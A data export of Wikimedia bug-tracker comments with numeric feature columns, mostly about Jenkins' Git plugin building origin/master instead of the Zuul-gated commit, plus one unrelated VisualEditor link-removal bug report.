221115,Jenkins merged a faulty change,"https://gerrit.wikimedia.org/r/#/c/58865/ has been deployed.

I am now manually updating the jobs which are not under JJB:

analytics-libanon
analytics-udp-filters
analytics-webstatscollector
analytics-wikistats
mwext-PoolCounter-pep8
mwext-VisualEditor-docgen
operations-debs-python-voluptuous-debbuild
parsoid-parse-tool-check
parsoid-roundtrip-test-check
parsoid-runTests
test-mediawiki-merge",,,1366022481,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.035294117647059,0.5411764705882353,"URL has been deployed.

I am now manually updating the jobs which are not under JJB:

analytics-libanon
analytics-udp-filters
analytics-webstatscollector
analytics-wikistats
mwext-PoolCounter-pep8
mwext-VisualEditor-docgen
operations-debs-python-voluptuous-debbuild
parsoid-parse-tool-check
parsoid-roundtrip-test-check
parsoid-runTests
test-mediawiki-merge"
221110,Jenkins merged a faulty change,https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc) | change APPROVED and MERGED [by Hashar],,,1366022447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,47.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,47.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.6,1.0,GERRIT_URL (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc) | change APPROVED and MERGED [by Hashar]
221104,Jenkins merged a faulty change,*** Bug 47208 has been marked as a duplicate of this bug. ***,,,1365939442,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47208 has been marked as a duplicate of this bug. ***
221097,Jenkins merged a faulty change,"(In reply to comment #13)
> Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change
> Iafebfffe480886fc8956e56517291b1b3b1fc0cc)

Why is this comment duplicated?",,,1365759643,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.263157894736842,0.8421052631578947,"(In reply to comment #13)
QUOTE
QUOTE

Why is this comment duplicated?"
221090,Jenkins merged a faulty change,"I have updated mediawiki-core-whitespaces job to use ZUUL_COMMIT as a refspec specifier. The job is non voting so that is not going to do any harm.

The experimental change is https://gerrit.wikimedia.org/r/58865",,,1365759586,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,5.0,3.0,0.0,0.0,4.131578947368421,0.8157894736842105,"I have updated mediawiki-core-whitespaces job to use ZUUL_COMMIT as a refspec specifier. The job is non voting so that is not going to do any harm.

The experimental change is GERRIT_URL"
221083,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc),,,1365759515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc)
221077,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58865 (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc),,,1365759512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iafebfffe480886fc8956e56517291b1b3b1fc0cc)
221069,Jenkins merged a faulty change,"The branch specifier in the git plugin is set to ZUUL_BRANCH which is 'master'. 

In the git plugin (at git-plugin/src/main/java/hudson/plugins/git/util/DefaultBuildChooser.java ), the getCandidateRevisions() will recognize whether the branch looks like a sha1 (if it matches /[0-9a-f]{6,40}/) and in such a case will create a detached branch using that commit.

Seems the Jenkins job macro should then use ZUUL_COMMIT as a branch specifier.",,,1365758998,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,7.0,3.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,1.0,10.0,5.0,0.0,2.0,0.0,1.0,0.0,1.0,4.0,0.0,1.0,2.0,0.0,1.0,3.9278350515463916,0.6288659793814433,"The branch specifier in the git plugin is set to ZUUL_BRANCH which is 'master'. 

In the git plugin (at git-plugin/src/main/java/hudson/plugins/git/util/DefaultBuildChooser.java ), the getCandidateRevisions() will recognize whether the branch looks like a sha1 (if it matches /[0-9a-f]{6,40}/) and in such a case will create a detached branch using that commit.

Seems the Jenkins job macro should then use ZUUL_COMMIT as a branch specifier."
221060,Jenkins merged a faulty change,"ZUUL_COMMIT=76cb37f0c69dcd69884fc6e66681e77c8045a08e

but it fetched origin/master instead :-(",,,1365717544,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.9,1.0,"ZUUL_COMMIT=76cb37f0c69dcd69884fc6e66681e77c8045a08e

but it fetched origin/master instead :-("
221053,Jenkins merged a faulty change,"Created attachment 12084
Console output for https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-parser/5386/console

**Attached**: {F10684}",,,1365717500,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.8333333333333334,"Created attachment 12084
Console output for URL

**Attached**: {F10684}"
221045,Jenkins merged a faulty change,We are lacking the git plugin verbose mode in production due to a bug. It is corrected with https://gerrit.wikimedia.org/r/58489  . That will help find out what the plugin is doing internally.,,,1365595161,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,15.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,4.0,0.8529411764705882,We are lacking the git plugin verbose mode in production due to a bug. It is corrected with GERRIT_URL  . That will help find out what the plugin is doing internally.
221037,Jenkins merged a faulty change,"I have traced the issue as far as mediawiki-core-lint build #19 from made on November 22nd 2012).


MISMATCH in /var/lib/jenkins/jobs/mediawiki-core-lint/builds/19/log
Pipeline: gate
Zuulcommit: 76606b66b006ac0e62087e6d00b1e4bdd56fff09
Checkedout: 232e34733fc68739ba96cccc31d3ff88f9484a23",,,1365590692,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,7.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.767857142857143,0.7142857142857143,"I have traced the issue as far as mediawiki-core-lint build #19 from made on November 22nd 2012).


MISMATCH in /var/lib/jenkins/jobs/mediawiki-core-lint/builds/19/log
Pipeline: gate
Zuulcommit: 76606b66b006ac0e62087e6d00b1e4bdd56fff09
Checkedout: 232e34733fc68739ba96cccc31d3ff88f9484a23"
221028,Jenkins merged a faulty change,"Extract for the two builds referenced somewhere above:

Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5222/log
Zuulcommit: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
Checkedout: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5223/log
Zuulcommit: 7dd3356a51951f8cdfe463552b5e5aae272e8e60
Checkedout: 4c69569db71d149feff6c4b10ea7a493425d67fd (MISMATCH)


We can see that build 5223 did not used the proper commit :-]


I suspect git plugin does not fetch the proper references / can't find it. That result internally in an unknown sha1 and then git plugin fallback to master or something else.

I will try to reproduce the issue in labs with git plugin set to verbose. That needs to start Jenkins with -Dhudson.plugins.git.GitSCM.verbose=true",,,1365542339,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.5,0.0,0.0,2.0,3.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,5.0,6.5,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,16.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.0,0.0,8.5,0.5,1.5,4.5,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.5,6.5,8.5,0.0,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.049518696778971,0.6267123287671232,"Extract for the two builds referenced somewhere above:

Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5222/log
Zuulcommit: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
Checkedout: 8cc0b601aa2db6db09ac0e4d70847293d75875aa
Verifying /var/lib/jenkins/jobs/mediawiki-core-phpunit-misc/builds/5223/log
Zuulcommit: 7dd3356a51951f8cdfe463552b5e5aae272e8e60
Checkedout: 4c69569db71d149feff6c4b10ea7a493425d67fd (MISMATCH)


We can see that build 5223 did not used the proper commit :-]


I suspect git plugin does not fetch the proper references / can't find it. That result internally in an unknown sha1 and then git plugin fallback to master or something else.

I will try to reproduce the issue in labs with git plugin set to verbose. That needs to start Jenkins with -Dhudson.plugins.git.GitSCM.verbose=true"
221022,Jenkins merged a faulty change,"Created attachment 12066
output of checkbug46723.py

The result script output highlight that some builds are not testing what they should be testing because they check out a parent commit.  By looking at the Jenkins Git plugin source code, it seems that whenever the reference is not parseable (aka: git rev-parse $ZUUL_REF), the plugin fallback to use master or some parent commit.

I need to improve the script to find out if that happens in a specific pipeline or for some specific refs.

**Attached**: {F10683}",,,1365541824,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,2.5,0.0,0.0,0.0,1.0,5.0,0.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,10.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,1.5,6.5,3.0,2.0,8.0,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,2.5,10.0,5.0,0.0,0.0,0.0,2.5,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,4.0595737246680645,0.8312368972746331,"Created attachment 12066
output of checkbug46723.py

The result script output highlight that some builds are not testing what they should be testing because they check out a parent commit.  By looking at the Jenkins Git plugin source code, it seems that whenever the reference is not parseable (aka: git rev-parse $ZUUL_REF), the plugin fallback to use master or some parent commit.

I need to improve the script to find out if that happens in a specific pipeline or for some specific refs.

**Attached**: {F10683}"
221016,Jenkins merged a faulty change,"Created attachment 12065
python script parsing build logs to find Zuul commit vs Git plugin checkout

**Attached**: {F10682}",,,1365541532,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.037037037037037,0.8888888888888888,"Created attachment 12065
python script parsing build logs to find Zuul commit vs Git plugin checkout

**Attached**: {F10682}"
221011,Jenkins merged a faulty change,"build #5223 


Workspace did get wiped:
 02:46:53 Wiping out workspace first.

It check out the revision:
 02:46:56 Checking out Revision 4c69569db71d149feff6c4b10ea7a493425d67fd (origin/master)

That is the master revision NOT the change. The commit should have been
7dd3356a51951f8cdfe463552b5e5aae272e8e60

----

The related merge job
https://integration.wikimedia.org/ci/job/mediawiki-core-merge/11333/console

02:44:17 Commencing build of Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)
02:44:17 Checking out Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)

----

The ZUUL_REF has probably not been resolved properly and the git plugin fallback to master.

There is also the possibility that the mediawiki-core-phpunit-misc job was using ZUUL_COMMIT as a refspec instead of ZUUL_REF. That might prevent the plugin from fetching the revision.   The job history is no more accessible due to an unexpected upgrade (see bug 47040).",,,1365514200,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.5,1.0,3.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.5,5.0,7.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,2.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.0,0.0,15.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,3.5,11.5,0.5,0.5,10.0,0.0,0.0,0.0,0.5,4.0,0.0,5.5,0.0,0.5,7.0,3.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,3.0,0.5,0.0,0.0,5.071080817916261,0.6883317104836092,"build #5223 


Workspace did get wiped:
 02:46:53 Wiping out workspace first.

It check out the revision:
 02:46:56 Checking out Revision 4c69569db71d149feff6c4b10ea7a493425d67fd (origin/master)

That is the master revision NOT the change. The commit should have been
7dd3356a51951f8cdfe463552b5e5aae272e8e60

----

The related merge job
URL

02:44:17 Commencing build of Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)
02:44:17 Checking out Revision 7dd3356a51951f8cdfe463552b5e5aae272e8e60 (origin/master)

----

The ZUUL_REF has probably not been resolved properly and the git plugin fallback to master.

There is also the possibility that the mediawiki-core-phpunit-misc job was using ZUUL_COMMIT as a refspec instead of ZUUL_REF. That might prevent the plugin from fetching the revision.   The job history is no more accessible due to an unexpected upgrade (see bug 47040)."
221004,Jenkins merged a faulty change,"From bug 47031 : https://gerrit.wikimedia.org/r/#/c/57436/ has been merged although it is faulty.

The unit tests ran on patchset upload did catch the issue:

https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-misc/5222/console : FAILURE

But the gating run after CR+2 did not catch it:

https://integration.wikimedia.org/ci/job/mediawiki-core-phpunit-misc/5223/console : SUCCESS


The root cause is that despite the ZUUL_REF points to the proper merge commit, the Jenkins Git plugin seems to use the current origin/master to build.",,,1365497215,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,1.0,1.0,4.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,26.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,17.0,4.0,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.792207792207792,0.7142857142857143,"From bug 47031 : URL has been merged although it is faulty.

The unit tests ran on patchset upload did catch the issue:

URL : FAILURE

But the gating run after CR+2 did not catch it:

URL : SUCCESS


The root cause is that despite the ZUUL_REF points to the proper merge commit, the Jenkins Git plugin seems to use the current origin/master to build."
220997,Jenkins merged a faulty change,Related URL: https://gerrit.wikimedia.org/r/58283 (Gerrit Change I4b3fadccaae9c35964a0c47d63b22c4f35148a24),,,1365495617,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tud4ia4bietz5pnf4dyz,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4b3fadccaae9c35964a0c47d63b22c4f35148a24)
48025,VisualEditor: Leaving a link while the inspector is open can remove the link,"0. Open a document with links already in it.
1. Click on a MediaWiki link, then click the icon to open the inspector.
2. Click anywhere else in the document to lose focus.
3. You're link has now been removed :(

Note that this doesn't happen if you have just created a link, or if you have edited a link, so I assume this is functionality for letting people abandon the creation of a link.

The only way to remove a link should be with the delete icon in the inspector, or clear formatting.

This doesn't appear to affect external links.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1363095900,1363139966.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-rl3v4wnjsqhxlyzhy4r4,task_description,resolved,True,c1,1,True,False,True,-16,,0.0,0.0,0.0,0.5,1.0,4.5,0.5,0.0,0.0,1.0,1.5,1.5,0.0,0.5,0.0,0.5,0.5,5.0,8.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,0.0,0.5,9.5,2.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,8.0,2.0,6.5,1.5,1.0,10.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,2.5,8.5,0.5,0.0,0.0,0.0,2.5,0.0,0.0,3.5,0.0,0.5,0.0,0.0,2.5,3.626760563380282,0.704225352112676,"0. Open a document with links already in it.
1. Click on a MediaWiki link, then click the icon to open the inspector.
2. Click anywhere else in the document to lose focus.
3. You're link has now been removed :(

Note that this doesn't happen if you have just created a link, or if you have edited a link, so I assume this is functionality for letting people abandon the creation of a link.

The only way to remove a link should be with the delete icon in the inspector, or clear formatting.

This doesn't appear to affect external links.

--------------------------
**Version**: unspecified
**Severity**: normal"
